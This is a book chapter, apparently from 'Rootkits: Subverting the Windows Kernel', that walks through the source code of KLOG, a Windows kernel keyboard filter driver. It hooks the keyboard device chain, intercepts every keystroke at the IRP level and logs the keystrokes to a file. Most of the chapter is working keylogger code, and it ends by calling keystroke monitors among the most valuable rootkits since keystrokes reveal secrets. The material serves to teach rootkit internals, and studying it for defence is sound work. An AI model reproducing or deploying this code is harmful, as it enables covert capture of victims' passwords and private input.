The KLOG Rootkit: A Walk-through

 < Day Day Up > 

Our example keyboard sniffer, called KLOG, was written by Clandestiny and is published at www.rootkit.com.[3] What follows is a walk-through of her code.

[3] A popular example of a keyboard layered filter driver is available at www.sysinternals.com. It is called ctrl2cap. KLOG is based on the ctrl2cap code.

Rootkit.com

The KLOG rootkit is described at:
www.rootkit.com/newsread.php?newsid=187
It may be downloaded from Clandestiny's vault at rootkit.com.


Note that the KLOG example supports the US keyboard layout. Because each keystroke is transmitted as a scancode, and not the actual letter of the key pressed, a step is required to convert the scancode back to the letter key. This mapping will be different depending on which keyboard layout is being used.

First, DriverEntry is called:

 NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,                     IN PUNICODE_STRING RegistryPath ) {   NTSTATUS Status = {0}; 

Next, in the DriverEntry function, a pass-through dispatch routine called DispatchPassDown is set up:

 for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)    pDriverObject->MajorFunction[i] = DispatchPassDown; 

Next, a routine is set up to be used specifically for keyboard read requests. KLOG's function is called DispatchRead:

 // Explicitly fill in the IRP handlers we want to hook.   pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; 

The driver object has now been set up, but it still needs to be connected to the keyboard-device chain. This is done in the HookKeyboard function:

 // Hook the keyboard now.   HookKeyboard(pDriverObject); 

Taking a closer look at the HookKeyboard function, we find the following:

 NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject) { // the filter device object   PDEVICE_OBJECT pKeyboardDeviceObject; 

IoCreateDevice is used to create a device object. Note that the device object has no name, and that it's of type FILE_DEVICE_KEYBOARD. Also note that the DEVICE_EXTENSION size is passed. This is a user-defined structure.

 // Create a keyboard device object.   NTSTATUS status = IoCreateDevice(pDriverObject,                                    sizeof(DEVICE_EXTENSION),                                    NULL,// no name                                    FILE_DEVICE_KEYBOARD,                                    0,                                    true,                                    &pKeyboardDeviceObject); // Make sure the device was created.   if(!NT_SUCCESS(status))    return status; 

The flags associated with the new device should be set identical to those of the underlying keyboard device being layering over. To get this information, a utility such as DeviceTree can be used. In the case of a keyboard filter, the flags indicated here may be used:

   pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags  | (DO_BUFFERED_IO | DO_POWER_PAGABLE);   pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &  ~DO_DEVICE_INITIALIZING; 

Remember that KLOG specified a DEVICE_EXTENSION size when the device object was created. This is an arbitrary block of non-paged memory that can be used to store any data. This data will be associated with this device object. KLOG defines the DEVICE_EXTENSION structure as follows:

 typedef struct _DEVICE_EXTENSION {   PDEVICE_OBJECT pKeyboardDevice;   PETHREAD pThreadObj;   bool bThreadTerminate;   HANDLE hLogFile;   KEY_STATE kState;   KSEMAPHORE semQueue;   KSPIN_LOCK lockQueue;   LIST_ENTRY QueueListHead; }DEVICE_EXTENSION, *PDEVICE_EXTENSION; 

The HookKeyboard function zeroes out this structure and then creates a pointer to initialize some of the members:

   RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,                 sizeof(DEVICE_EXTENSION)); // Get the pointer to the device extension.   PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension; 

The name of the keyboard device to layer over is KeyboardClass0. This is converted into a UNICODE string, and the filter hook is placed using a call to IoAttachDevice(). The pointer to the next device in the chain is stored in pKeyboardDeviceExtension->pKeyboardDevice. This pointer will be used to pass IRPs down to the underlying device in the chain.

   CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";   STRING  ntNameString;   UNICODE_STRING uKeyboardDeviceName;   RtlInitAnsiString(&ntNameString, ntNameBuffer);   RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,                                &ntNameString,                                TRUE );   IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,                  &pKeyboardDeviceExtension->pKeyboardDevice);   RtlFreeUnicodeString(&uKeyboardDeviceName);   return STATUS_SUCCESS; }// end HookKeyboard 

Assuming HookKeyboard has been successful, KLOG continues processing in DriverMain. The next step is to create a worker thread that can write keystrokes to a log file. The worker thread is required because file operations are not possible in the IRP processing function. When scancodes are being tossed inside IRPs, the system is running at DISPATCH IRQ level, and it is forbidden to perform file operations. After passing the keystrokes into a shared buffer, the worker thread can pick them up and write them to a file. The worker thread runs at a different IRQ level, PASSIVE, where file operations are allowed. Set-up of the worker thread takes place in the InitThreadKeyLogger function:

   InitThreadKeyLogger(pDriverObject); 

Zooming into the InitThreadKeyLogger function, we find the following:

 NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject) { 

A pointer to the device extension is used to initialize some more members. KLOG stores the state of the thread in bThreadTerminate. It should be set to "false" as long as the thread is running.

   PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject- >DeviceObject->DeviceExtension; // Set the worker thread to running state in device extension.   pKeyboardDeviceExtension->bThreadTerminate = false; 

The worker thread is created using the PsCreateSystemThread call. Note that the thread processing function is specified as ThreadKeyLogger and that the device extension is passed as an argument to that function:

 // Create the worker thread.   HANDLE hThread;   NTSTATUS status = PsCreateSystemThread(&hThread,                                        (ACCESS_MASK)0,                                        NULL,                                        (HANDLE)0,                                        NULL,                                        ThreadKeyLogger,                                        pKeyboardDeviceExtension);   if(!NT_SUCCESS(status))    return status; 

A pointer to the thread object is stored in the device extension:

 // Obtain a pointer to the thread object.   ObReferenceObjectByHandle(hThread,                    THREAD_ALL_ACCESS,                    NULL,                    KernelMode,                    (PVOID*)&pKeyboardDeviceExtension->pThreadObj,                    NULL); // We don't need the thread handle.   ZwClose(hThread);   return status; } 

Back in DriverEntry, the thread is ready. A shared linked list is initialized and stored in the device extension. The linked list will contain captured keystrokes.

 PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension; InitializeListHead(&pKeyboardDeviceExtension->QueueListHead); 

A spinlock is initialized to synchronize access to the linked list. This makes the linked list thread safe, which is very important. If KLOG did not use a spinlock, it could cause a Blue Screen of Death when two threads try to access the linked list at once. The semaphore keeps track of the number of items in the work queue (initially zero).

 // Initialize the lock for the linked list queue.    KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue); // Initialize the work queue semaphore.    KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG); 

The next block of code opens a file, c:\klog.txt, for logging the keystrokes:

 // Create the log file.   IO_STATUS_BLOCK file_status;   OBJECT_ATTRIBUTES obj_attrib;   CCHAR  ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";   STRING ntNameString;   UNICODE_STRING uFileName;   RtlInitAnsiString(&ntNameString, ntNameFile);   RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);   InitializeObjectAttributes(&obj_attrib, &uFileName,                              OBJ_CASE_INSENSITIVE,                              NULL,                              NULL);   Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,                         GENERIC_WRITE,                         &obj_attrib,                         &file_status,                         NULL,                         FILE_ATTRIBUTE_NORMAL,                         0,                         FILE_OPEN_IF,                         FILE_SYNCHRONOUS_IO_NONALERT,                         NULL,                         0);   RtlFreeUnicodeString(&uFileName);   if (Status != STATUS_SUCCESS)   {     DbgPrint("Failed to create log file...\n");     DbgPrint("File Status = %x\n",file_status);   }   else   {     DbgPrint("Successfully created log file...\n");     DbgPrint("File Handle = %x\n",     pKeyboardDeviceExtension->hLogFile);   } 

Finally, a DriverUnload routine is specified for cleanup purposes:

 // Set the DriverUnload procedure.   pDriverObject->DriverUnload = Unload;   DbgPrint("Set DriverUnload function pointer...\n");   DbgPrint("Exiting Driver Entry......\n");   return STATUS_SUCCESS; } 

At this point, the KLOG driver is hooked into the device chain and should start getting keystroke IRPs. The routine that is called for a READ request is DispatchRead. Let's take a closer look at that function:

 NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp) { 

This function is called when a READ request is headed down to the keyboard controller. At this point there is no data in the IRP that we can use. We instead want to see the IRP after the keystroke has been captured when the IRP is on its way back up the device chain.

The only way to get notified that the IRP has finished is by setting a completion routine. If we don't set the completion routine, we will be skipped when the IRP travels back up the chain.

When we pass the IRP to the next-lowest device in the chain, we are required to set the IRP stack pointer. The term stack here is misleading: Each device simply has a private section of memory it can use within each IRP. These private areas are laid out in a specified order. You use the IoGetCurrentIrpStackLocation and IoGetNextIrpStackLocation calls to get pointers to these private areas. A "current" pointer must be pointing to the next-lowest driver's private area before the IRP is passed on. So, before calling IoCallDriver, call IoCopyCurrentIrpStackLocationToNext:

 // Copy parameters down to next level in the stack // for the driver below us.    IoCopyCurrentIrpStackLocationToNext(pIrp); Note that the completion routine is named "OnReadCompletion": // Set the completion callback.   IoSetCompletionRoutine(pIrp,                     OnReadCompletion,                     pDeviceObject,                     TRUE,                     TRUE,                     TRUE); 

The number of pending IRPs is tracked so that KLOG won't unload unless processing is complete:

 // Track the # of pending IRPs.   numPendingIrps++; 

Finally, IoCallDriver is used to pass the IRP to the next-lowest device in the chain. Remember that a pointer to the next-lowest device is stored in pKeyboardDevice in the Device Extension.

 // Pass the IRP on down to \the driver underneath us.   return IoCallDriver( ((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice, pIrp); }// end DispatchRead 

Now we can see that every READ IRP, once processed, will be available in the OnReadCompletion routine. Let's look at that in more detail:

 NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,                           IN PIRP pIrp, IN PVOID Context) { // Get the device extension - we'll need to use it later.   PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject- >DeviceExtension; 

The IRP status is checked. Think of this as a return code, or error code. If the code is set to STATUS_SUCCESS, that means the IRP has completed successfully, and it should have some keystroke data on board. The SystemBuffer member points to an array of KEYBOARD_INPUT_DATA structures. The IoStatus.Information member contains the length of this array:

 // If the request has completed, extract the value of the key.   if(pIrp->IoStatus.Status == STATUS_SUCCESS)   {    PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA) pIrp->AssociatedIrp.SystemBuffer;    int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA); 

The KEYBOARD_INPUT_DATA structure is defined as follows:

 typedef struct _KEYBOARD_INPUT_DATA {  USHORT UnitId;  USHORT MakeCode;  USHORT Flags;  USHORT Reserved;  ULONG ExtraInformation; } KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA; 

KLOG now loops through all array members, getting a keystroke from each:

    for(int i = 0; i < numKeys; i++)    {      DbgPrint("ScanCode: %x\n", keys[i].MakeCode); 

Note that we receive two events: one each for keypress and keyrelease. We need pay attention to only one of these for a simple keystroke monitor. KEY_MAKE is the important flag here.

      if(keys[i].Flags == KEY_MAKE)       DbgPrint("%s\n","Key Down"); 

Remember that this completion routine is called at DISPATCH_LEVEL IRQL, which means file operations are not allowed. To get around this limitation, KLOG passes the keystrokes to the worker thread via a shared linked list. The critical section must be used to synchronize access to this linked list. The kernel enforces the rule that only one thread at a time can execute a critical section. (Technical note: A deferred procedure call [DPC] cannot be used here, since a DPC runs at DISPATCH_LEVEL also.)

KLOG allocates some NonPagedPool memory and places the scancode into this memory. This is then placed into the linked list. Again, because we are running at DISPATCH level, the memory may be allocated from NonPagedPool only.

   KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA)); // Fill in kData structure with info from IRP.   kData->KeyData = (char)keys[i].MakeCode;   kData->KeyFlags = (char)keys[i].Flags; // Add the scan code to the linked list // queue so our worker thread // can write it out to a file.   DbgPrint("Adding IRP to work queue..."); ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,                            &kData->ListEntry,                            &pKeyboardDeviceExtension->lockQueue); The semaphore is incremented to indicate that some data needs to be processed: // Increment the semaphore by 1 - no WaitForXXX after this call.   KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,                      0,                      1,                      FALSE);    }// end for   }// end if // Mark the IRP pending if necessary.   if(pIrp->PendingReturned)    IoMarkIrpPending(pIrp); 

Since KLOG is finished processing this IRP, the IRP count is decremented:

   numPendingIrps-;   return pIrp->IoStatus.Status; }// end OnReadCompletion 

At this point, a keystroke has been saved in the linked list and is available to the worker thread. Let's now look at the worker thread routine:

 VOID ThreadKeyLogger(IN PVOID pContext) {   PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;   PDEVICE_OBJECT pKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;   PLIST_ENTRY pListEntry;   KEY_DATA* kData; // custom data structure used to                    // hold scancodes in the linked list 

KLOG now enters a processing loop. The code waits for the semaphore using KeWaitForSingleObject. If the semaphore is incremented, the processing loop knows to continue.

   while(true)   {    // Wait for data to become available in the queue.    KeWaitForSingleObject(                &pKeyboardDeviceExtension->semQueue,                Executive,                KernelMode,                FALSE,                NULL); 

The topmost item is removed safely from the linked list. Note the use of the critical section.

    pListEntry = ExInterlockedRemoveHeadList(                         &pKeyboardDeviceExtension->QueueListHead,                         &pKeyboardDeviceExtension->lockQueue); 

Kernel threads cannot be terminated externally; they can only terminate themselves. Here KLOG checks a flag to see if it should terminate the worker thread. This should happen only if KLOG is being unloaded.

    if(pKeyboardDeviceExtension->bThreadTerminate == true)    {      PsTerminateSystemThread(STATUS_SUCCESS);    } 

The CONTAINING_RECORD macro must be used to get a pointer to the data within the pListEntry structure:

   kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry); 

Here KLOG gets the scancode and converts it into a keycode. This is done with a utility function, ConvertScanCodeToKeyCode. This function understands only the U.S. English keyboard layout, although it could easily be replaced with code that's valid for other keyboard layouts.

 // Convert the scan code to a key code.   char keys[3] = {0};   ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys); // Make sure the key has returned a valid code // before writing it to the file.   if(keys != 0)   { 

If the file handle is valid, use ZwWriteFile to write the keycode to the log:

 // Write the data out to a file.    if(pKeyboardDeviceExtension->hLogFile != NULL)    {      IO_STATUS_BLOCK io_status;      NTSTATUS status = ZwWriteFile(                             pKeyboardDeviceExtension->hLogFile,                             NULL,                             NULL,                            NULL,                            &io_status,                            &keys,                            strlen(keys),                            NULL,                            NULL);      if(status != STATUS_SUCCESS)         DbgPrint("Writing scan code to file...\n");      else         DbgPrint("Scan code '%s' successfully written to file.\n",keys);      }// end if    }// end if   }// end while   return; }// end ThreadLogKeyboard 

That is basically it for KLOG's main operations. Now let's take a look at the Unload routine:

 VOID Unload( IN PDRIVER_OBJECT pDriverObject) { // Get the pointer to the device extension.   PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;   DbgPrint("Driver Unload Called...\n"); 

The driver must unhook the layered device with IoDetachDevice:

 // Detach from the device underneath that we're hooked to.   IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);   DbgPrint("Keyboard hook detached from device...\n"); 

A timer is used, and KLOG enters a short loop until all IRPs are done processing:

 // Create a timer.   KTIMER kTimer;   LARGE_INTEGER timeout;   timeout.QuadPart = 1000000;// .1 s   KeInitializeTimer(&kTimer); 

If an IRP is waiting for a keystroke, the unload won't complete until a key has been pressed:

   while(numPendingIrps > 0)   {    // Set the timer.    KeSetTimer(&kTimer,timeout,NULL);    KeWaitForSingleObject(                &kTimer,                Executive,                KernelMode,                false,                NULL);   } 

Now KLOG indicates that the worker thread should terminate:

 // Set our key logger worker thread to terminate.   pKeyboardDeviceExtension->bThreadTerminate = true; // Wake up the thread if its blocked & WaitForXXX after this call.   KeReleaseSemaphore(                &pKeyboardDeviceExtension->semQueue,                0,                1,                TRUE); 

KLOG calls KeWaitForSingleObject with the thread pointer, waiting until the thread has been terminated:

 // Wait until the worker thread terminates.   DbgPrint("Waiting for key logger thread to terminate...\n");   KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,                         Executive,                         KernelMode,                         false,NULL);   DbgPrint("Key logger thread terminated\n"); 

Finally, the log file is closed:

 // Close the log file.   ZwClose(pKeyboardDeviceExtension->hLogFile); 

And, some good housekeeping clean-up is performed:

 // Delete the device.   IoDeleteDevice(pDriverObject->DeviceObject);   DbgPrint("Tagged IRPs dead...Terminating...\n");   return; } 

That concludes the keyboard sniffer. This is clearly important code a wonderful starting point for branching into other layered rootkits. Moreover, a keystroke monitor alone is one of the most valuable rootkits one can craft. Keystrokes tell many secrets and offer much evidence.

     < Day Day Up > 


    Rootkits(c) Subverting the Windows Kernel
    Rootkits: Subverting the Windows Kernel
    ISBN: 0321294319
    EAN: 2147483647
    Year: 2006
    Pages: 111

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net